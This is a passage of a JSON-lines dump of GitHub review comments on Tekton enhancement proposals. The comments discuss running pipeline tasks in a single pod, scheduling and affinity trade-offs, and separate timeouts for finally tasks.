both author and run time.", "comment_id": 591583883, "created_at": "2021-03-10T14:47:42Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "NIT: s/eb/be", "comment_id": 591584375, "created_at": "2021-03-10T14:48:17Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "Nice :)", "comment_id": 591584489, "created_at": "2021-03-10T14:48:25Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "This feature would work for some use cases, i.e. local execution or operators that need to enforce this for some reason. ", "comment_id": 591586256, "created_at": "2021-03-10T14:50:16Z", "line": 650, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "We might need to guard / validate the use of this, as doing this on a large pipeline might cause scheduling issues, unless we limit the amount of resources we request for the pod and force serialise the execution of some of the tasks.", "comment_id": 591588720, "created_at": "2021-03-10T14:53:05Z", "line": 586, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "Indeed. I think this could be a path to explore some of the options before we implement them in the core Tekton.", "comment_id": 591589986, "created_at": "2021-03-10T14:54:35Z", "line": 802, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "No pros at all?\r\n\r\nA task group CRD could be used do define a number of different execution strategies:\r\n\r\n- sequential only\r\n- switch (only one based on input)\r\n- race (finish as soon as at least one is finished)\r\n\r\nThis is a different kind of problem, but different strategies may fit better with specific scheduling approaches.", "comment_id": 591655076, "created_at": "2021-03-10T16:07:26Z", "line": 860, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "Related work: https://github.com/tektoncd/community/pull/290", "comment_id": 591661348, "created_at": "2021-03-10T16:14:27Z", "line": 883, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "No pros \ud83d\ude13 \r\nEven if it doesn't help for this specific problem, it would be interesting to have this feature :)", "comment_id": 591662131, "created_at": "2021-03-10T16:15:23Z", "line": 893, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "`it needs to` should be removed I think", "comment_id": 591674331, "created_at": "2021-03-10T16:28:39Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "What is \"Task adapters/specialization\" in the TEP ? (I feel the term is used there without prior definition or example)", "comment_id": 591675458, "created_at": "2021-03-10T16:29:57Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "> I think one goal of Tekton should be to provide a good opinionated scheduling default that works for simple cases, and let users override it at pipeline authoring time to satisfy special requirements.\r\n\r\nI tend to agree with that statement. The thing I am not sure we all share the same point of view is : the current design is works well for simple cases. It has an overhead, that's all. Having a way to reduce this overhead is needed, I think it's better it has to be *explicit* for the user.", "comment_id": 591677330, "created_at": "2021-03-10T16:32:08Z", "line": 47, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "\u2764\ufe0f ", "comment_id": 591678225, "created_at": "2021-03-10T16:33:14Z", "line": 139, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Also, how would these play with `when` guard ? It kinda fix the \"I want to run this Task, no matter the previous task status\", but not fully though.", "comment_id": 591684270, "created_at": "2021-03-10T16:40:07Z", "line": 236, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Right, having this automatically would be very confusing, especially for current user of tekton.", "comment_id": 591686632, "created_at": "2021-03-10T16:42:57Z", "line": 422, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "> One possible solution here would be to only allow grouped tasks to be executed sequentially.\r\nIt would create a trade off between the time to allocate resources (pods, pvcs) and the time to run tasks sequentially...\r\n\r\nYeah I definitely think that would be a decent trade-off user would have to deal with.\r\n\r\n> Another idea could be to let pipeline authors express affinity between tasks i.e. the preference for them to be on the same node. In most cases the affinity could be implied by a shared workspace, but it could be enabled / disabled on demand by the pipeline author.\r\n\r\nThis doesn't necessarly fix the problem, as you need something else than an emptydir to share data between pods, even on the same node. And things like `hostPath` might not be something available to the user to deal with in that case.", "comment_id": 591689138, "created_at": "2021-03-10T16:45:50Z", "line": 434, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Note that this is a \"con\" for almost **all** approach that will allow multiple task to run in a pod (in addition to request/limit, result+variable interop changes, \u2026)", "comment_id": 591690914, "created_at": "2021-03-10T16:47:50Z", "line": 503, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "One con I have with this approach is that it is not that explicit. Using an emptyDir to say \"run on the same pod\", I would rather have a field that says that, explicitely.", "comment_id": 591692636, "created_at": "2021-03-10T16:49:51Z", "line": 626, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "I don't understand \"flag\" here. Do you mean field ? \ud83e\udd14 ", "comment_id": 591693076, "created_at": "2021-03-10T16:50:22Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Intersting, although I don't think it's necessary fully related. (e.g. running a pipeline locally, with `podman` for example, is *just* about creating the same pods, but with podman only, no need for controller flag, \u2026).\r\n\r\nWe will need to define \"local execution\" better, because in my mind, local execution doesn't involve *any* controller \ud83d\ude05 ", "comment_id": 591694157, "created_at": "2021-03-10T16:51:41Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "User == Pipeline Author right ?", "comment_id": 591694419, "created_at": "2021-03-10T16:52:02Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "This is *kinda* true for some other approach \ud83d\ude05 ", "comment_id": 591695208, "created_at": "2021-03-10T16:53:03Z", "line": 652, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Related to TEP-0046 right ? I feel most of the approach running multiple task in a Pod, will come with either a big refactoring of what the entrypoint does (if we keep parallel support) *or* a trade-off, which is \"no parallel execution\".", "comment_id": 591696403, "created_at": "2021-03-10T16:54:26Z", "line": 697, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "This brings us closer to GitHub Actions \ud83d\ude1d ", "comment_id": 591697552, "created_at": "2021-03-10T16:55:41Z", "line": 781, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Indeed. On the other hand, we could experiment with it almost *completely* independently of the current CRDs (`Pipeline`, `Task`) \ud83d\udc7c\ud83c\udffc. Different api name, group and version, maybe even an experimental project to start with and validate the concept.", "comment_id": 591698674, "created_at": "2021-03-10T16:57:00Z", "line": 789, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "I think another *con* might be another kind of overhead (push/pull at each task, \u2026 might slow the pipeline quite a bit) ", "comment_id": 591700157, "created_at": "2021-03-10T16:58:38Z", "line": 954, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "Oh, yeah, sorry, I didn't mean k8s affinity - I mean a Tekton concept of affinity that the controller could use as a hint that tasks could live in the same pod, but only if scheduling permits.", "comment_id": 591708983, "created_at": "2021-03-10T17:09:10Z", "line": 434, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "Great to see many alternatives!\r\n\r\nBut if this part now is \"shared\" with TEP-0046(?) then I think it should be pointed out that only a few of the alternatives solves the problem statement in TEP-0046 that is about Task parallelism, primarily.\r\n\r\nAlso a `TaskRunGroup` (or `TaskGroupRun`?) CRD might be a viable addition for some of the alternatives - since some are written from the pipeline authoring view, and some from the runtime view. Note this is different from a TaskGroup CRD that is targeting authors. ", "comment_id": 591853136, "created_at": "2021-03-10T20:36:50Z", "line": 141, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "Well, yes and no. This is suggested as an initial configuration in TEP-0046 because, as listed in Cons-section here, it addresses a problem that seem to require a more complex solution - Task parallelism - and therefore probably need to be iterated on multiple times.", "comment_id": 591862003, "created_at": "2021-03-10T20:51:09Z", "line": 642, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "yes, this is not only a Con for this \"alternative\".\r\n\r\nWhat is written here is probably what is needed for properly addressing the problem written in TEP-0046, about Task parallelism that is a complex problem that has been discussed since april/may 2020 and where we have added the affinity assistant but that solution has shortcomings that could be addressed with a Pod-internal solution. Especially the affinity assistant solution can not mitigate the problem with autoscaling or properly scheduling to nodes with enough resources for the pipeline, as noted in https://github.com/tektoncd/pipeline/issues/3049", "comment_id": 591866168, "created_at": "2021-03-10T20:57:41Z", "line": 652, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "Parallel Steps was the very first idea to address the parallelism-problem initially in may 2020. That would also require entrypoint work. https://github.com/tektoncd/pipeline/issues/2586", "comment_id": 591870164, "created_at": "2021-03-10T21:04:12Z", "line": 697, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "yes, in the end, a custom scheduler does not take us any further with some of the fundamental problems we have with the affinity assistant e.g. respecting autoscaling and mitigate problems with nodes that have too little resources to host the pipelineRun, e.g. https://github.com/tektoncd/pipeline/issues/3049", "comment_id": 591874739, "created_at": "2021-03-10T21:11:57Z", "line": 879, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "this one could also be for TEP-0046, when implementation is more mature, to move from \"Controller level config\" (aka feature-flag?)", "comment_id": 591877574, "created_at": "2021-03-10T21:16:56Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "However, if the tasks share workspace across groups and that workspace is `emtpyDir` this syntax will be \"conflicting\", - but could be validated though - but I still feel there are some kind of dual meaning here. We could have a rule saying that workspace can not be shared with another group.", "comment_id": 591880270, "created_at": "2021-03-10T21:21:16Z", "line": 452, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "Nice post @vdemeester !!\r\nI added a comment :)", "comment_id": 591886687, "created_at": "2021-03-10T21:31:44Z", "line": 654, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": null, "body": "I think this might be a pro of multiple possible solutions described here - quite a few of them require that a pipeline will need to be fully runnable as a pod.", "comment_id": 592590444, "created_at": "2021-03-11T18:13:39Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@jerop and @vdemeester - this is pretty much the first thing @ImJasonH said too, that people will very quickly want to be able to add more sophistication onto this - which is making me lean towards (in the long run) supporting the entire pipeline in a pod (cuz inevitably ppl will want all of the functionality) - but anyway i'll add this as a con!", "comment_id": 592744018, "created_at": "2021-03-11T21:45:06Z", "line": 236, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@jerop id definitely like it to be - tho i do wonder how custom tasks fit in if you run an entire pipeline in a pod (e.g. are you still creating a CRD object and waiting for it... but from the pod?) I'm guessing that if we do eventually support the entire pipeline being run in a pod, this might be one of the last things we support", "comment_id": 592745924, "created_at": "2021-03-11T21:48:25Z", "line": 430, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "i agree! im thinking that something like this as an experimental custom task might at least be a good step forward", "comment_id": 592747361, "created_at": "2021-03-11T21:51:00Z", "line": 240, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "good point! ive added some notes about this as a possible tweak - in general i think we could decide to combine a few of these together if it works well", "comment_id": 592748504, "created_at": "2021-03-11T21:53:12Z", "line": 421, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@afrittoli the scheduling problem you mentioned, im thinking we have the same issue around requesting the right amount of resources today, if you had a Task with sidecars? maybe there's a detail I'm missing about how parallel tasks would make this more challenging", "comment_id": 592750048, "created_at": "2021-03-11T21:56:05Z", "line": 434, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "maybe an implementation detail of \"local execution\" :D", "comment_id": 592751615, "created_at": "2021-03-11T21:58:45Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "kk ill add this as a con!", "comment_id": 592752748, "created_at": "2021-03-11T22:00:51Z", "line": 586, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "ive added this as a pro - kinda sounds to me like you're describing custom tasks in general tho? (e.g. you can have a switch statement custom task)", "comment_id": 592753417, "created_at": "2021-03-11T22:02:17Z", "line": 860, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "haha ive tried to add one - what really happened here is that i sort of ran out of steam fleshing these out \ud83d\ude05 ", "comment_id": 592754227, "created_at": "2021-03-11T22:03:48Z", "line": 893, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "this is trying to refer to the content of the linked doc:\r\n\r\n![image](https://user-images.githubusercontent.com/432502/110861345-007a9d00-828c-11eb-919e-c301045d609f.png)\r\n\r\nill reword this and try to make it more clear\r\n", "comment_id": 592755337, "created_at": "2021-03-11T22:05:47Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "good point! ive added this under the \"alternatives\" heading and tried to highlight that this applies to most of the proposals (happy to copy + paste it into multiple alternatives if that's clearer, once we're happy with the wording)", "comment_id": 592757410, "created_at": "2021-03-11T22:09:26Z", "line": 503, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "yes, that's clearer", "comment_id": 592758330, "created_at": "2021-03-11T22:11:15Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "oh i guess potentially also pipelinerun authors - ill reword this", "comment_id": 592758537, "created_at": "2021-03-11T22:11:40Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "im not sure whether to add this as a pro or a con XD", "comment_id": 592759244, "created_at": "2021-03-11T22:13:02Z", "line": 781, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "it turns out this is NOT what jason meant but actually something else entirely XD", "comment_id": 592759481, "created_at": "2021-03-11T22:13:31Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "oh interesting! i assumed this would be just once for the entire pipeline, but i see what you mean, it could be per task using the workspace - ill add a note about this", "comment_id": 592761037, "created_at": "2021-03-11T22:16:24Z", "line": 954, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "> then I think it should be pointed out that only a few of the alternatives solves the problem statement in TEP-0046 that is about Task parallelism, primarily\r\n\r\nI think this is why it probably still makes sense to have 2 TEPs - tho i think in the long run even the solution for this TEP will involve supporting Tasks in parallel on the same pod\r\n\r\n> Also a TaskRunGroup (or TaskGroupRun?) CRD might be a viable addition for some of the alternatives - since some are written from the pipeline authoring view, and some from the runtime view. Note this is different from a TaskGroup CRD that is targeting authors.\r\n\r\nI've tried to add some details about this under \"Create a new Grouping CRD\" but I'm not totally clear on what this would look like - would it basically contain an entire pipeline definition? or link to a pipeline ref?", "comment_id": 592763768, "created_at": "2021-03-11T22:21:28Z", "line": 141, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@jlpettersson can you elaborate a bit more? it sounds like you're saying a controller wide solution isnt necessarily the goal of TEP-0046? (or TEP-0046 is trying to say that a controller wide flag is a step toward a more complex solution?)", "comment_id": 592764318, "created_at": "2021-03-11T22:22:32Z", "line": 642, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "ive tried to add a \"cons\" section at the top of the alternative section mentioning that this applies to multiple solutions", "comment_id": 592764621, "created_at": "2021-03-11T22:23:10Z", "line": 652, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "good point, ill add this at the top of the alternatives section as well", "comment_id": 592765268, "created_at": "2021-03-11T22:24:31Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "The goal of TEP-0046 is to solve the Task parallelism-problem, that has been discussed back and forth since may 2020 and we later added the affinity assistant. The TEP links to a Design doc for the whole Task parallelism problem including alternative solutions (including affinity assistant and custom scheduler and pod-internal workspace). \r\n\r\nAs has been noted, to solve that problem in the direction as TEP-0046 suggests, require a lot of changes, e.g. rethinking entrypoint and also propbably also the *run-CRDs (e.g. `PipelineRun`, `TaskRun` and perhaps `TaskGroupRun`) and the use of statuses and so on. This problem most likely needs to be solved in many iteration where we learn more after each, and the initial proposal is to do this behind a feature-flag or \"Controller level flag\" at least until we know more. ", "comment_id": 592788559, "created_at": "2021-03-11T23:10:54Z", "line": 642, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "With `TaskGroupRun` CRD here, I didn't mean a new CRD for Pipeline- or Task authors, more a run-CRD in case the solution should be open for using more than one Pod (here I am assuming an alternative to TaskRun that I assume is strictly for one-to-one relation between a Task and a Pod, whereas TaskGroupRun is a thought about a many-to-one relation between Tasks and a Pod - and there could be one or multiple of TaskGroupRun related to PipelineRun).\r\n\r\nJust thinking out loud here - no deeper thoughts.", "comment_id": 592791570, "created_at": "2021-03-11T23:17:53Z", "line": 141, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "On the other hand, there is similar scheduling problems with the Affinity Assistant solution, e.g. where the placeholder pod is located on a node that does not have enough resources to host the TaskRun-pods. Having all containers for a PipelineRun with an emptyDir workspace in a single unit (Pod) - \"delegates\" the scheduling problem to kubernetes scheduler and also provide all scheduling info upfront, whereas today it is more in pieces.", "comment_id": 592796539, "created_at": "2021-03-11T23:30:12Z", "line": 586, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Is it an *alternative* way or an additional way ? Maybe it's a nit, but I would rather use the work additional as I don't think we should stop supporting the way PipelineRun are executing today.", "comment_id": 565403022, "created_at": "2021-01-27T15:29:41Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "vdemeester", "body": "`s/cloud specific thing/cloud specific provisionning/` ?", "comment_id": 565403464, "created_at": "2021-01-27T15:30:15Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "vdemeester", "body": "We are only talking about the `Pipeline` and `Task` CRD here right ? (because\u00a0`PipelineRun` CRD will most likely change)", "comment_id": 565413106, "created_at": "2021-01-27T15:41:54Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "vdemeester", "body": "Should the goal to be to run the whole `PipelineRun` into a single `Pod` or do we see ourselves having the need to support running into multiple pods (but some task on the same pod).\r\nMy initial thought is, I think it make sense to go with this goal \"the whole `PipelineRun` into a single `Pod`\" for now, and we can definitely see if we need more and if something like a Pipeline `CustomTask` would be a good way to \"group\" tasks into separate pipelines.", "comment_id": 565415236, "created_at": "2021-01-27T15:44:09Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "vdemeester", "body": "This use-case is shared with [TEP-0044](https://github.com/tektoncd/community/pull/316) \ud83d\udc7c\ud83c\udffc ", "comment_id": 565416167, "created_at": "2021-01-27T15:45:16Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "vdemeester", "body": "I am not sure I follow this requirements. Why would we treat tasks in a pipeline that runs into a single `Pod` differently than when it runs into a as of today ? For example, supporting the use case of uploading test results, can be handled using `finally` task today, it would be the same there. \r\n\r\nExcept running in the same pod and thus removing some overhead, I think we should limit the difference in assumption and \"how things run\" between running into a single pod or several.", "comment_id": 565423294, "created_at": "2021-01-27T15:53:42Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "jlpettersson", "body": "Yeah, at least `Pipeline` and `Task` for the author. Didn't think that `PipelineRun` would need changes but I might be wrong. And when using this alternative, `TaskRun` CRD will not be used.", "comment_id": 565471742, "created_at": "2021-01-27T16:54:51Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "jlpettersson", "body": "Yes, I tried to keep the scope narrow. I think support for multiple pods is too broad scope - that can be in so many different ways - and can be reasoned about in other TEPs perhaps.", "comment_id": 565474162, "created_at": "2021-01-27T16:57:51Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "jlpettersson", "body": "The intention was not to change the current way, but to add an alternative way - a PipelineRun will use either, not both. But this TEP only describes the alternative way :) Don't know how I would phrase it in better english :)", "comment_id": 565477797, "created_at": "2021-01-27T17:02:32Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "bobcatfish", "body": "hmm interesting, this is a difference with https://github.com/tektoncd/community/pull/316", "comment_id": 567137917, "created_at": "2021-01-29T22:54:40Z", "line": null, "path": "teps/0046-pipelinerun-in-a-pod.md", "pr_number": 318, "repo": "community"} +{"author": "bobcatfish", "body": "@jlpettersson I forgot to ask you in the API working group: does this mean that you're proposing that this is something that is configured only at runtime (i.e. in the PipelineRun only)? or would you imagine the pipeline author expressing this also/instead?", "comment_id": 582316051, "created_at": "2021-02-24T21:25:52Z", "line": 81, "path": "teps/0046-colocation-of-tasks-and-workspaces.md", "pr_number": 318, "repo": "community"} +{"author": "pritidesai", "body": "Not a blocker here, but this is weird:\r\n\r\n* dag task `Task1` with `sleep 10` has Duration `4 seconds`\r\n* final task `Task2` without any delay has Duration of `30 seconds` ", "comment_id": 567062301, "created_at": "2021-01-29T19:58:52Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "Please confirm, are you proposing a new field `timeout` under `finally` section which will apply to all finally tasks defined? Also what if each finally task has specified its own timeout plus this new field?\r\n\r\n", "comment_id": 567066363, "created_at": "2021-01-29T20:07:27Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "typo \ud83d\ude43 2980 == 2989", "comment_id": 567069068, "created_at": "2021-01-29T20:12:52Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "> the finally task execution is bounded by the declared timeout\r\n\r\nFor a pipeline with a time out of 10 seconds, and finally tasks with a timeout 20 seconds (using a new field), pipeline stops running `dag` tasks after 10 seconds and starts running finally tasks. The finally tasks will run with 20 seconds of timeout after starting executing. In the end, pipeline overall will end up with a timeout of 30 seconds. ", "comment_id": 567069505, "created_at": "2021-01-29T20:13:52Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "why defaulting to 20 minutes?", "comment_id": 567072054, "created_at": "2021-01-29T20:19:08Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "yes exactly. It makes sense to me as all finally task are run in parallel. If a task has a timeout declared, the behavior is unchanged for the task, but the finally timeout field will take precedence.\r\n\r\nIf a task has a 20s timeout and the finally timeout field is 30s. Then the task timeout is relevant. The other way around, with a 30s task timeout and a 20s finally timeout, the task fails after 20s.", "comment_id": 567676296, "created_at": "2021-02-01T09:30:45Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "thanks", "comment_id": 567676468, "created_at": "2021-02-01T09:30:58Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "Thanks for reviewing. Will check this out", "comment_id": 567676722, "created_at": "2021-02-01T09:31:21Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "From the use cases, I would give the finally tasks a small time budget. I mean to are not intended for long batch operations. So 20m, but it's arbitrary.", "comment_id": 567743753, "created_at": "2021-02-01T11:13:55Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "We might want to have the default finally timeout to be configurable via config map like the default timeout https://github.com/tektoncd/pipeline/blob/9751b951b9f5a35540898db4fb01d1be192dafeb/config/config-defaults.yaml#L42", "comment_id": 567836025, "created_at": "2021-02-01T13:46:04Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "One downside I see with this approach is that, when finally is used, the author will have to specify two timeouts to control the overall pipeline timeout. But I think that's an acceptable compromise, at least as long as we only have main pipeline and finally.", "comment_id": 567839232, "created_at": "2021-02-01T13:50:43Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "NIT: cleanup?", "comment_id": 567839623, "created_at": "2021-02-01T13:51:19Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "Ideally, the proposed state should include content only up to this point.\r\nThe detailed proposal is added when the TEP is switched to \"implementable\".\r\nYou don't have to break this down now, but it may take a bit longer for this PR to be merged.\r\nThe switch to \"implementable\" would then be a no-op.\r\n", "comment_id": 567841145, "created_at": "2021-02-01T13:53:46Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "We will need to put this change of behaviour behind a feature flag, which will be default preserve the current behaviour. I think a possible solution could be as follows:\r\n- when disabled (default), the new API field is not accepted via validation. The timeout is considered as an overall pipeline timeout. If it happens before finally, finally does not run, if it happens during finally, finally is interrupted and fails. \r\n- when enabled, the new API field is accepted via validation. The timeout is not applied to the pipeline excluding finally.\r\n\r\nAlternatively, we could have two flags, one which controls the API change and one that controls how timeout is handled, to provide backward compatibility. In this scenario:\r\n- if the API change is enabled (default to disabled), a finally timeout can be specified, but the overall behaviour depends by the other flag\r\n- if the timeout backward compatibility flag is enabled (default to true), the timeout specified today applies to the overall pipeline. If a finally timeout is specified, the main pipeline will timeout after (overall timeout - finally timeout)\r\n\r\nThis second approach might make sense if we have a single flag to control all alpha API flag. One might want to enable alpha API parts but still maintain the current behaviour for pipeline timeouts.\r\n@bobcatfish @vdemeester ^^^", "comment_id": 567848978, "created_at": "2021-02-01T14:05:20Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "vdemeester", "body": "Agreed, because this is a change in behaviour, we need to to preverve the current behaviour for a given amount of time.\r\nWhat we are adding here is:\r\n- A new field for timeout in `finally` task (with a default that could be the same default as for `TaskRun`)\r\n- A change in behaviour so that the `pipelinerun` timeout doesn't apply to `finally` task.\r\n\r\nI feel both can be seen as separate, as, we could have the 2nd without the first (just relying on the default taskrun timeout for `finally` task). At the same time, the 1st could be implemented independently of the behaviour change. Hence I am more on a flag on the controller to change the behavior, and add the timeout field under a general \"alpha\" feature flag \u2014 which is the 2nd approach @afrittoli.", "comment_id": 570135680, "created_at": "2021-02-04T11:04:30Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", 